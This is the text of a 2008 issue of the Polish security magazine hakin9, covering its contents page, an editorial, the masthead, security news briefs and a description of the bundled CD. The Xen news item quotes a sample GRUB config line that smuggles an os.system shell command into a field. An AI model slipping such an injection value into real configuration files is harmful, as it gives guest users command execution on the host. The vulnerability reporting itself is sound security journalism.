Hakin9 33 (01 2008) PL

www.hakin9.org

hakin9 Nr 01/2008

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Mateusz Stępień

Przedstawiamy najciekawsze wiadomości ze świata

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Recenzja Internet Security Suite

Recenzja Teleguard

Początki

Domeny – zagrożenia i ich skutki

Damian Daszkiewicz

Damian w swoim artykule opisuje jak przenieść domenę

do innego rejestratora oraz co to jest WHOIS.

Atak

Blind Attack

Konrad Malewski

Technika blind scanning pozwala na poznanie niektó-

rych parametrów połączenia zestawionego pomiędzy

dwoma maszynami w sposób, która nie kieruje podej-

rzeń w stronę źródła ataku.

Niebezpieczne nazwy plików

Michał 'Gynvael Coldwind' Składnikiewicz

Z artykułu dowiesz się, jakie są najczęstsze zaniedba-

nia w implementacji obsługi nazw plików otrzymanych

z zewnątrz.

Obliczenia pasożytnicze

Michał Styś

Michał w swoim artykule przedstawia sposoby wyko-

rzystania protokołów sieciowych do wykonywania

obliczeń na komputerach podłączonych do Sieci.

C#.NET. Podsłuchiwanie klawiatury

Sławomir Orłowski, Maciej Pakulski

Z tego artykułu dowiemy się jak działąją haki w sys-

temie Windows oraz jak możemy dodawać wpisy do

rejestru systemowego.

Witam!

Drodzy Czytelnicy, mam zaszczyt powitać Was w Nowym

2008 Roku! Mam nadzieję, że będzie on obfitował w moc

sukcesów i pomyślnych zdarzeń. Niech wirusy i robaki

omijają Wasze komputery, a producenci oprogramowania

dostarczają coraz to nowych i jeszcze szkuteczniejszych

rozwiązań zapewniających bezpieczeństwo.

Liczę także na to, że tak jak w poprzednim roku, rów-

nież i w tym spędzicie parę chwil na lekturze hakin9'u.

Zachęcam do tego tym bardziej, że przygotowaliśmy dla

Was wiele niespodzianek. Profesjonalne artykuły, cieka-

we wywiady, najlepsze programy antywirusowe, konkursy

z nagrodami oraz wiele innych.

Jedną z nowości, jest pomysł organizowania comie-

sięcznych spotkań z Naszymi Czytelnikami. Chcieliby-

śmy spotkać się z Wami, porozmawiać, usłyszeć opinie

na temat hakin9u – co moglibyśmy zmienić, jakie rzeczy

poprawić, co Wam się podoba w naszym magazynie?

Oczywiście, zachęcamy również do dzielenia się swoimi

przemyśleniami na temat pisma już teraz. Czekamy na

wiadomości. Chcemy, żeby hakin9 był jeszcze bardziej

profesjonalny, żebyście sięgali po niego z większą cieka-

wością, a przede wszystkim, żeby ta ciekawość została w

100% zaspokojona.

W tym numerze, przygotowaliśmy dla Was kilka nowych

artykułów w których znajdziecie wiele praktycznych infor-

macji o tym, jak skutecznie zapewnić bezpieczeństwo nie

tylko danym znajdującym się na dyskach Waszych kom-

puterów, ale także samym maszynom. Nie zapomnieli-

śmy też o stałych punktach programu. W magazynie, tra-

dycyjnie: wiadomości, recenzje książek – w tym miesią-

cu E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w

Sieci autorstwa Jonathana Reuvida oraz PHP Bezpieczne

Programowanie, którą napisał Chris Shiflett, a także opis

nowych narzędzi oraz płyta CD, na której oprócz progra-

mów znajdziecie kolejną część filmu instruktażowego na

temat ataku SQL Injection z użyciem Union Select.

Drodzy Czytelnicy, nie pozostaje mi nic innego, jak

zaprosić Was do lektury.

Barbara Czułada

www.hakin9.org

hakin9 Nr 01/2008

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Fizyczne

bezpieczeństwo serwerów

Rafał Podsiadły

Nie wiesz jak fizycznie zabezpieczyć swój serwer,

jakich narzędzi użyć?

Heurystyka

w programach antywirusowych

Jakub Dębski

Artykuł Jakuba Dębskiego pokazuje czym jest heury-

styka w programach antywirusowych, jakie są rodza-

je wykorzystywanych heurystyk oraz przed jakimi pro-

blemami stają ich twórcy.

Bezpieczna Firma

Bezpieczeństwo teleinfomatyczne

danych niejawnych

Andrzej Guzik

Andrzej pokaże nam sposoby ochrony informacji nie-

jawnych przetwarzanych w systemach komputero-

wych i sieciach teleinformatycznych.

Księgozbiór

Recenzujemy książki E-biznes bez ryzyka. Zarządza-

nie bezpieczeństwem w Sieci, PHP Bezpieczne Pro-

gramowanie oraz Podstawy ochrony komputerów.

Wywiad

Wywiad z

Marcinem Piołunem-Noyszewskim

Katarzyna Juszczyńska

Rozmowa z prezesem firmy M2 NET, która jest nie-

zależnym producentem oprogramowania tworzącym

zaawansowane rozwiązania związane z bezpieczeń-

stwem i działalnością biznesową.

Felieton

Czy hakerzy są źli?

Rafał Bednarski

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czułada@software.com.pl

Wyróżnieni betatesterzy: Ewa Rutkowska, Marcin Kosedowski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 427 36 69

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 01/2008

McAfee przejmuje SafeBoot

Firma McAfee, światowy lider w dzie-

dzinie produktów antywirusowych,

zapór i programowych zabezpieczeń

internetowych, ogłosiła decyzję

o przejęciu holenderskiego producen-

ta systemów kontroli dostępu

i szyfrowania danych – firmy SafeBo-

ot. Oprogramowanie firmy McAfee

używane jest aktualnie na ponad

100 milionach komputerów, przeję-

cie SafeBoot pozwoli zaoferować ich

użytkownikom funkcjonalność szy-

frowania danych – dzięki aplikacji

Data Protection Suite, która pozwa-

la na szyfrowanie plików, katalogów

i całych partycji na wszelkiego typu

urządzeniach przenośnych, notebo-

okach i palmtopach. Kwota transakcji

wyniosła około 350 milionów dolarów,

jednak zakup SafeBoot nie jest jedy-

nym nabytkiem planowanym przez

McAfee w najbliższym czasie.

OpenBSD łata dziurę

w serwerze DHCP

Firma Core Security odkryła poważ-

ny błąd w zabezpieczeniach serwe-

ra DHCP wykorzystywanego

w wolno dostępnym systemie ope-

racyjnym OpenBSD 4.0, 4.1 oraz

4.2. Błąd jest o tyle poważny, że

atakujący, który ma dostęp do sieci

lokalnej, może przy użyciu odpo-

wiednio spreparowanego żąda-

nia DHCP unieruchomić dowol-

ną usługę. Specjaliści z Core Secu-

rity wykryli w funkcji cons_options

(

src/usr.sbin/dhcpd/options.c

)

błąd przepełnienia bufora. Warto też

przypomnieć, że ostatnio odkryto

podobny błąd także w oprogramo-

waniu serwera DHCP używanego

przez aplikacje do wirtualizacji firmy

Vmware.

NEC izoluje szkodliwy kod

irma NEC – międzynarodo-
we konsorcjum z sektora infor-

matycznego z siedzibą w Minato
w Japonii – opracowała nową tech-
nologię, która pozwala na wykry-
cie, odizolowanie i zatrzymanie
działania wirusa na poziomie rdze-
nia procesora. Technologia jest
o tyle ciekawa, że stworzona zosta-
ła dla procesorów wielordzenio-
wych, dzięki czemu nie przeszka-
dza w sprawnym działaniu całego
systemu. Głównym założeniem
nowej technologii jest uruchamia-
nie każdego programu w oddziel-
nym procesie na osobnych rdze-
niach wielordzeniowego CPU.
Ten innowacyjny pomysł inżynie-
rów firmy NEC skutecznie zapo-
biega rozprzestrzenieniu się szko-
dliwego kodu po całym systemie i

przedostanie się do sieci, a rdzeń,
w którym uruchamia się wirus,
zostaje chwilowo wyłączony. NEC
nie wymyślił jeszcze nazwy dla
swojej technologii. Technologię
można wykorzystać w telefonach
komórkowych, samochodach i naj-
prawdopodobniej w komputerach.

NEC Corporation to japońska

firma produkująca sprzęt kompu-
terowy, telekomunikacyjny, urzą-
dzenia elektroniczne i oprogra-
mowanie, między innymi notebo-
oki Versa oraz Lavie. NEC został
założony przez Kunihiko Iwadare
wraz z grupą współpracowników
w 1899 r. Jeden z założycieli
pochodził z USA.

Odkryto lukę w oprogramowaniu

wirtualizacyjnym Xen

oris van Rantwijk wykrył błąd
w środowisku wirtualizacji Xen,

umożliwiający użytkownikowi z upra-
wnieniami root’a w domenie gościa
wykonać dowolne polecenia w do-
menie 0, czyli w samym kontrolerze,
nadzorującym pracę środowiska wir-
tualizacji.

Bezpośrednim źródłem błędu

jest

skrypt

tools/pygrub/src/

GrubConf.py, który odczytuje dane
z pliku konfiguracyjnego GRUB’a
(boot/grub/grub.conf) i próbuje
ustawić odpowiednie parametry
używając funkcji exec bez popraw-
nego sprawdzania przekazywa-
nych parametrów.

Podczas kolejnego restartu odpo-

wiednio przygotowany plik konfigura-
cyjny może zostać wykorzystany do
przekazania poprzez skrypt działają-
cy w domenie 0 poleceń do shell’a
i ich wykonania.

Joris van Rantwijk w swoim

wpisie w Bugzilli na Xensource.com
zaprezentował przykładową linię
wywołania:

default "+str(0*os.system(
" insert evil command here "))+"

Błąd został znaleziony w wersji
3.0.3, starsze wersje również mogą
być podatne na ten rodzaj ataku.
Na chwilę obecną nie udostępniono
poprawki.

Xen to monitor maszyn wirtu-

alnych na licencji open source,
opracowany na Uniwersytecie Cam-
bridge i rozwijany przez firmę
XenSource.

Ma ono za zadanie obserwo-

wanie maszyn wirtualnych uru-
chomionych w jego środowisku
i dbanie o to, aby nie zakłócały one
wzajemnie swojej pracy i aby ich
równoczesne działanie nie obni-
żało w znaczący sposób wydajno-
ści systemu.

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 01/2008

Oprogramowanie

Open Source

nie jest bezpieczne

Firma Fortify Software, zajmują-

ca się bezpieczeństwem i oferu-

jąca produkty chroniące bardzo

duże firmy przed największym

niebezpieczeństwem – czyli apli-

kacjami, które pracują wewnątrz

tych przedsiębiorstw – przygo-

towała ciekawy raport, z któ-

rego wynika, że hakerzy coraz

częściej używają aplikacji Open

Source do przeprowadzania

ataków. Przedstawiciel Forti-

fy Software, Brian Chess, twier-

dzi: Ten nowy rodzaj zagro-

żeń świadczy o tym, że hake-

rzy bardzo uważnie przygląda-

ją się procesowi powstawania

oprogramowania. Włamywacze

nadal wykorzystują luki w aplika-

cjach już dostępnych na rynku.

Coraz częściej jednak sami wpły-

wają na kształt nowego oprogra-

mowania, umieszczając w nim

luki, zanim jeszcze zostanie ono

ukończone.

51 poprawek Oracle'a

Oracle przedstawił zestaw

51 poprawek bezpieczeństwa.

Zamykają one między innymi

pięć poważnych luk, które można

wykorzystać do przeprowadze-

nia zdalnych ataków. Luki zna-

leziono w następujących pro-

duktach Oracle'a: Oracle Data-

base (27 poprawek), Oracle

Application Server (11 popra-

wek), Oracle E-Business Suite

(8 poprawek), Enterprise Mana-

ger Database Control (2 popraw-

ki), a także Peoplesoft Enterprise

(3 poprawki).

Bramka zabezpieczająca UTM

irma PLANET Technology,
globalny lider technologii sie-

ciowych opartych na protokole
IP, zaprezentowała nową bramkę
zabezpieczającą UTM o nazwie
CS-2000, w której zaadaptowano
algorytm analizy heurystycznej do
filtrowania poczty elektronicznej
pod kątem spamu i wirusów.

Samouczący się system potra-

fi podnosić swą efektywność
w identyfikacji spamu, a wbudowa-
ny twardy dysk o pojemności 80GB
zapewnia wystarczającą ilość miej-
sca dla maili poddanych kwaran-
tannie.

Mechanizm antywirusowy posia-

da dwa silniki skanujące: Clam oraz
Sophos, dzięki czemu jest w stanie
skutecznie zdiagnozować wirusy,

robaki i inne zagrożenia w poczcie
elektronicznej i przesyłanych z Inter-
netu plikach. Urządzenie przesyła
raporty dzienne, tygodniowe, mie-
sięczne i roczne poprzez e-mail, co
pozwala administratorowi na łatwe
monitorowanie statusu sieci.

CS-2000 – dzięki wbudowane-

mu firewall’owi i zabezpieczeniom
IDP – chroni również przed wła-
maniami hakerów i innymi atakami
płynącymi ze strony Internetu lub
intranetu.

Wbudowane dwa porty WAN

umożliwiają bramce balansowanie
obciążenia dla ruchu wchodzące-
go i wychodzącego oraz zapewnia-
ją ciągły dostęp do sieci WAN nawet
w wypadku awarii jednego z łącz.

Poprawki bezpieczeństwa

dla Asteriska 1.4

eweloperzy darmowego opro-
gramowania Asterisk, służą-

cego do obsługi systemów telefonii,
wydali nową wersję oznaczoną
numerkiem 1.4.13, w której usunię-
to dwa poważne błędy związane
z funkcjonowaniem poczty głosowej.
W kodzie podsystemu Voice-Mail
Asteriska, który korzysta z protoko-
łu IMAP, znaleziono poważną uster-
kę polegającą na niebezpiecznym
użyciu funkcji sprintf(). Usterka jest
bardzo poważna i pozwala na zawie-
szenie systemu lub wprowadzenie
do niego dowolnego kodu. Żeby błąd
wystąpił, napastnik musi spreparo-
wać nagłówki Content-Type i Con-
tent-Description w taki sposób, aby
ich długość przekroczyła w sumie
1024 bajty. Zagrożone występo-
waniem błędów są jedynie wyda-
nia Asterisk Open Source o nume-
rze wersji mniejszym niż 1.4.13. Lukę
w Voice-Mail odkrył dostawca usług

z zakresu bezpieczeństwa, firma
Diginum. Asterisk został stworzony
przez Marc'a Spencer'a pod szyl-
dem firmy Digium. Z małymi wyjąt-
kami jest udostępniony na zasa-
dach Free software license. Obecnie
Asterisk może działać pod kontrolą
Windows, BSD i OS X, jednak jego
natywnym środowiskiem jest Linux,
i dla niego też zapewnione jest naj-
większe wsparcie. Asterisk jest
także macierzystym środowiskiem
protokołu wykrywania usług VoIP.

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 01/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym

Ubuntu znajdziemy między innymi

środowisko GNOME w wersji

2.20, domyślnie włączone efekty

graficzne Compiz Fusion i zainsta-

lowaną wtyczkę Gnash do odtwa-

rzania animacji Flash. Ubuntu

Gutsy Gibbon zawiera jądro

2.6.22 i podsystem grafiki Xorg

7.3 z obsługą RandR 1.2 oraz

z xserver 1.4. Pojawiły się także

sterowniki do niektórych tzw. win-

modemów. Twórcy Ubuntu popra-

wi również system raportowa-

nia przy instalacji i aktualiza-

cjach pakietów, a także zgłaszania

padów jądra, które będą wyłapy-

wane podczas restartu.

Panda 2008 już w sprzedaży

W sprzedaży pojawiły się najnow-

sze rozwiązania przeznaczone do

ochrony komputerów firmy Panda

Security na rok 2008. Firma przy-

gotowała trzy zestawy produktów:

Panda Internet Security 2008,

program Panda Antivirus + Fire-

wall 2008 i samodzielną aplika-

cję antywirusową Panda Antivi-

rus 2008. Wszystkie produkty na

rok 2008 zawierają nowy model

ochrony megadetection, który

znacznie zwiększa wykrywalność

wirusów i innych zagrożeń.

Internet Explorer 7 dla każdego

igant z Redmond, firma Micro-
soft, udostępniła przeglądar-

kę Internet Explorer 7 wszystkim
chętnym, nie tylko właścicielom
oryginalnych kopii Windows. Dzi-
siejsza poprawka Installation and
Availability umożliwia pobranie
Internet Explorera 7 bez przecho-
dzenia WGA (Windows Genuine
Advantage). Przeglądarka będzie
dostępna dla wszystkich użytkow-
ników Windows XP – czytamy na
firmowym blogu.

Przypomnijmy, że Windows Ge-

nuine Advantage (WGA) jest czę-
ścią inicjatywy Microsoft Genuine
Software Initiative, której zada-
niem jest udostępnianie aplika-
cji wyłącznie tym użytkownikom,
którzy posiadają oryginalne wersje
systemu operacyjnego Windows.
Firma z Redmond ujawnia, że zre-
zygnowała z WGA z powodów bez-
pieczeństwa: Bardzo zależy nam na
tym, by skutecznie chronić wszyst-
kich użytkowników, czyli cały 'eko-
system Windows' – dlatego też

postanowiliśmy rozszerzyć możli-
wość korzystania z IE7 na wszyst-
kie systemy Windows. Oznacza
to, że do zainstalowania najnow-
szej wersji naszej przeglądarki nie
będzie już niezbędne przeprowa-
dzenie weryfikacji legalności syste-
mu – tłumaczy Steve Reynolds.

Tristan Nitot z Mozilli twier-

dzi, że udostępnienie przeglądar-
ki wszystkim użytkownikom Win-
dows jest spowodowane obawą
o utratę rynku. Myślę, że IE7 rozpo-
wszechnia się zbyt wolno, częścio-
wo ze względu na WGA – stwier-
dził Nitot.

Linspire 6.0 z licencjami Microsoftu

kazała się najnowsza wersja
komercyjnego systemu ope-

racyjnego Linspire 6.0, bazujące-
go na Ubuntu Feisty Fawn. Linspi-
re 6 jest pierwszą wersją, która jest
objęta ochroną patentową wynika-
jącą z umowy z Microsoftem. Zało-
żeniem twórców było stworzenie
w pełni funkcjonalnego systemu
operacyjnego, który nie posiada
tak widocznych braków w oprogra-
mowaniu i funkcjach, jak w przy-
padku najpopularniejszych dar-
mowych dystrybucji Open Source.
Nowy Linspire oferuje domyślnie
zainstalowane kodeki do odtwa-
rzania filmów QuickTime, Windows
Media, Flash, Real oraz wspar-
cie dla formatu Microsoft Office
Open XML. Linspire 6 oferuje
dostęp do portalu CNR, z którego
można łatwo zainstalować ponad
20 tysięcy darmowych i płatnych
aplikacji, a oprócz tego znajdzie-
my w nim zestaw autorskich apli-

kacji – między innymi Lphoto
i Lsongs.Larry Kettler, dyrek-
tor generalny korporacji Linspire,
powiedział o najnowszym produk-
cie: Nadal kontynuujemy tradycję
Linspire, oferując jeszcze lepsze
możliwości nowym użytkowni-
kom systemu Linux. Linspire 6.0
pomniejsza przepaść między opro-
gramowaniem open source a ko-
mercyjnymi aplikacjami, łącząc
najlepsze cechy obu stron w jeden,
łatwy w użytkowaniu i produktywny
system operacyjny.

W skrócie

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 01/2008

Botnety lubią Linuksa?

Największy serwis aukcji interne-

towych na świecie, portal eBay,

planuje w niedługiej przyszło-

ści przekształcić swojego Pay-

Pal'a - system, który umożli-

wia wysyłanie i otrzymywanie

bezpiecznych płatności każde-

mu, kto jest posiadaczem konta

e-mail - w bezpieczny interneto-

wy bank. Dave Cullinane, który

jest główną osobą odpowiedzial-

ną za bezpieczeństwo IT w eBay,

podczas konferencji, która odbyła

się w Santa Clara, podzielił się

swoimi ciekawymi spostrzeże-

niami z czasów, gdy pracował

w Washington Mutual – jednym

z największych amerykańskich

banków. Cullinane mówił między

innymi o tym, że jego bank był

bardzo często atakowany przez

cyberprzestępców, a raz zdarzy-

ło się, iż przez cały miesiąc był

celem największego wówczas

ataku w USA. To była niezwykle

zaawansowana technika ataku,

a większość użytkowników nawet

nie zdawała sobie sprawy z faktu,

że ich komputer jest częścią bot-

neta. Odcinaliśmy poszczególne

maszyny, które zawierały phishin-

gowe oprogramowanie,

a ich użytkownicy nie mieli poję-

cia, że cyberprzestępcy wykorzy-

stują ich komputery. Wiele z nich

to były serwery należące do firm

i uczelni. Dave Cullinane stwier-

dził też, że: Zdecydowana więk-

szość szkodliwych witryn znaj-

dowała się na komputerach pra-

cujących pod kontrolą Linuksa,

co nas bardzo zdziwiło. Spodzie-

waliśmy się znacznej przewagi

maszyn, na ktorych zainstalowa-

ny był Windows, ale tym razem

było inaczej.

Wyeliminowano błąd w WinAmpie

ydano nową wersję popular-
nego odtwarzacza multime-

dialnego Winamp 5.5, która zawie-
ra poprawkę eliminującą błąd prze-
kroczenia zakresu liczby całkowi-
tej w module służącym do przetwa-
rzania danych zapisanych z uży-
ciem bezstratnego formatu audio
o nazwie FLAC. Problem jest na
tyle poważny, że po uruchomie-
niu odpowiednio spreparowanego
pliku Free Lossless Audio Codec
następuje przepełnienie bufora,
dzięki któremu włamywacz może
wykorzystać komputer użytkow-
nika do wykonania dowolnego
kodu. Wykryty błąd dotyczył wersji
Winampa 5.35 Full. Specjaliści
zalecają aktualizację do Winampa

5.5 albo ręczne usunięcie bibliote-
ki libFLAC.

eTokeny Aladdina zabezpieczają

telefony Virgin Mobile we Francji

laddin Knowledge Systems roz-
począł współpracę z siecią tele-

fonii komórkowej Virgin Mobile we
Francji. W wyniku zawartej umowy
ponad 3 tysiące dystrybutorów
w całym kraju zostało wyposażo-
nych w rozwiązania eToken. Virgin
Mobile udostępnia część swojego
systemu informatycznego stronom
trzecim. Odbywa się to za pośred-
nictwem Internetu i ma rozproszo-
ny charakter. W takich sytuacjach
palącą potrzebą jest właściwa
ochrona systemu i odpowiednie
zarządzanie dostępem do niego.
eTokeny poprzez zastosowanie
dwupoziomowego modelu uwie-
rzytelnienia wprowadzają wydaj-
ny i szczelny system zabezpieczeń.
Dodatkowo system TMS wspoma-
ga firmę w zarządzaniu infrastruk-
turą eTokenów. – powiedział Shlomi
Yanai, wiceprezes firmy Aladdin.
Dzięki wyposażeniu dystrybuto-
rów w dwustopniowy klucz uwie-
rzytelnienia eTokenu NG-OTP, sieć
Virgin Mobile osiągnęła wysoki
poziom bezpieczeństwa aktywacji
telefonów w całej Francji – poprzez
zabezpieczenie przed nieautory-
zowanymi użytkownikami, którzy
mogliby zdobyć dostęp do danych

firmy. eToken NG-OTP to jeden
z najbardziej innowacyjnych rodza-
jów tokenów. NG-OTP jest bardzo
elastycznym i uniwersalnym urzą-
dzeniem wspierającym wiele rozwią-
zań do autoryzacji dostępu i współ-
pracuje z różnymi rodzajami sieci
oraz aplikacji. Aladdin Knowledge
Systems to izraelska firma infor-
matyczna, która powstała w 1985 r.
ptOd 1993 r. Aladdin specjalizuje
się w tworzeniu rozwiązań wspo-
magających zarządzanie dostępem
do oprogramowania (Digital Rights
Management, DRM) oraz zabezpie-
czanie go przed piractwem i niekon-
trolowanym wykorzystywaniem.

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 4.0.2 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,

tutoriale i materiały dodatkowe do artykułów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować się jako
użytkownik hakin9 bez podawania hasła.

Pełne wersje programów:

• DTweak,
• Novosoft Office Backup 2.2,
• Dr.Web for Windows File Servers (wersja 6-mie-

sięczna),

• System Safety Monitor (wersja 6-miesięczna),
• ArcaVir 2007 (wersja 3-miesięczna),
• Stellar Phoenix Windows Recovery.

Filmy instruktażowe:

• Drugi odcinek – Atak SQL Injection z użyciem Union

Select.

Kolejny odcinek z serii filmów instruktażowych przed-

stawiających najpopularniejsze metody ataków na
strony internetowe.

DTweak

Narzędzie poprawiające wydajność i wygląd systemów
z rodziny Windows. Działa w wersjach XP, 2003, Vista.
Dzięki wbudowanym funkcjom można w łatwy sposób
oczyścić dysk i rejestr ze zbędnych danych, zdefragmen-
tować zarówno dysk, jak i rejestr oraz zmienić wiele ukry-
tych w systemie opcji. Program został zaprojektowany
przede wszystkim dla Visty.

Przy rejestracji użyj zakładki Register for FREE Now,

wprowadź swoje imię i nazwisko oraz adres e-mail. Po
rejestracji wersja 10-dniowa stanie się wersją bez ograni-
czeń czasowych.

Novosoft Office Backup 2.2

Jedno z najlepszych narzędzi do tworzenia kopii zapa-
sowych. W łatwy sposób sporządzimy backup zdjęć,
dokumentów i wielu innych wartościowych dla nas pli-
ków. Oferuje dwa tryby tworzenia kopii: standardowy
i ekspercki. Istnieje możliwość filtrowania plików, kom-
presji, szyfrowania danych. Poza tym Office Backup
posiada rozbudowany system wtyczek pozwalających
na tworzenie kopii e-maili z różnych klientów poczto-
wych, danych przeglądarek WWW, komunikatorów,
menadżerów haseł itd. Potrafi także zsynchronizować

Zawartość CD

się z zewnętrznym serwerem FTP. Ważną funkcją jest
również planowanie automatycznego tworzenia kopii
zapasowych (dzienne, tygodniowe, miesięczne). Pro-
gram dokuje się w zasobniku systemowym, informu-
jąc przy pomocy swojej ikonki o statusie aktualnie wy-
konywanego zadania. Kopie zapasowe można bezpo-
średnio umieszczać na wielu różnych nośnikach, jak
np. HDD, płyty CD/DVD/HD/Blue-Ray, USB, LAN,
FTP itd. Poza tym mamy do dyspozycji obsługę skryp-
tów. Program został zaprojektowany dla systemów
z rodziny Windows w wersjach od 2000 do Vista.

Dr.Web for file servers

Windows NT/2000/2003

Produkt z rodziny Dr.Web przeznaczony do ochrony ser-
werów plików Windows NT/2000/2003.

Kluczowe funkcje:

• kontrola wszystkich operacji plikowych w czasie rze-

czywistym,

• dostępność trybów skanowania: w czasie rzeczywi-

stym, na żądanie, wg. terminarza,

• unikalna technologia zarządzania zasobami serwera

(odraczanie testowania plików otwieranych tylko do
odczytu),

• automatyczna aktualizacja,
• logowanie zdarzeń.

Unikalna technologia zarządzania zasobami, umożliwia-
jąca odroczenie testu plików otwartych tylko do odczy-
tu, pozwala na zapamiętywanie żądań dostępu do plików
przechowywanych na serwerze i testowanie ich w mo-
mencie zwolnienia zasobów systemowych. Dzięki temu
wydajność antywirusa Dr.Web jest ograniczona tylko wy-
dajnością chronionego serwera.

Dr.Web Anti-Virus poprawnie sprawdza różne ty-

py archiwów - skompresowane, wielowolumenowe
i samorozpakowujące się (SFX). Dodatkowo Dr.Web
sprawdza również pliki spakowane różnymi rodzaja-
mi pakerów.

Pliki czy aplikacje mogą zostać przetestowane

w poszukiwaniu wirusów i innego szkodliwego opro-
gramowania w locie (on-the-fly), na żądanie admi-
nistratora serwera lub poprzez zadanie terminarza
Dr.Web. Administrator może także ustawić automa-
tyczne reakcje antywirusa dla różnego rodzaju wykry-
tych zagrożeń.

Sama administracja nie jest skomplikowana, dzia-

łanie antywirusa jest praktycznie niezauważalne.

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

Wszystkie operacje wykonane przez antywirusa na pli-
kach znajdują odbicie w statystykach. Statystyki ska-
nowania dynamicznie pokazują czas operacji procesu,
ilość sprawdzonych plików, wykryte zagrożenia i inne
przydatne informacje.

Po instalacji pakietu Dr.Web Windows 2000/2003 Se-

rver zostaje automatycznie stworzone zadanie systemo-
we aktualizacji antywirusowych baz danych i innych pli-
ków pakietu.

System Safety Monitor

Narzędzie pozwala na śledzenie w czasie rzeczywi-
stym poczynań systemu operacyjnego Windows oraz
chroni przed niebezpiecznymi akcjami. Dzięki niemu
można kontrolować, które aplikacje zostaną urucho-
mione, a które nie, uniemożliwić dzieciom dostęp do
pewnych plików, zablokować instalację sterowników,
bibliotek, zabić lub zawiesić wybrany proces. Szcze-
gólnie chroniony jest rejestr, pliki INI, sterowniki, usługi
systemu oraz pliki przeglądarki Internet Explorer.

ArcaVir 2007

Program chroniący komputer przed złośliwym oprogra-
mowaniem (wirusy, trojany, dialery, rootkity itd.) oraz in-
nymi zagrożeniami wynikającymi z podłączenia kompu-
tera do Internetu.

W skład pakietu wchodzą następujące komponenty:

• skaner poczty – bada pocztę elektroniczną pod ką-

tem wirusów, robaków itp., współpracuje z każdym
programem pocztowym,

• skaner antywirusowy – dzięki niemu możemy wygod-

nie przeskanować odpowiednie, wybrane przez nas
zasoby komputera,

• monitor antywirusowy – na bieżąco kontroluje używane

przez nas pliki, jest czuły, szybki i – co zasługuje na po-
chwałę – nie obciąża zbytnio systemu operacyjnego,

• skaner HTTP – blokuje obiekty wykorzystujące proto-

kół HTTP do rozprzestrzeniania się,

• firewall – pozwala na kontrolę przepływu danych

przez nasz komputer z sieci i do sieci,

• silnik antywirusowy – wyposażony jest w pokaź-

nych rozmiarów bazę danych zawierającą informację
o wielu typach szkodliwego oprogramowania.

Warto zauważyć, że ArcaVir dobrze radzi sobie także
z phishingiem oraz programami spyware. Baza wirusów
aktualizowana jest na bieżąco. Oczywiście nie należy
mylić firewalla ze skanerem HTTP. Silnik ArcaVir opiera
się na systemie wtyczek, co oznacza, że w razie niebez-
pieczeństwa pojawienia się nowego zagrożenia, pakiet
zostanie automatycznie zaktualizowany, a nowa wtycz-
ka dodana do silnika. Pakiet bardzo dobrze współpracu-
je z Windows Vista.

Stellar Phoenix Windows Recovery

Program służy do odzyskiwania danych z dysków twar-
dych Windows 9x/ME/NT/2000/XP/2003/Vista. Sys-
temy plików, które obsługuje, to: FAT 16/32, NTFS,
NTFS5. Dane możemy odzyskiwać także z dysków
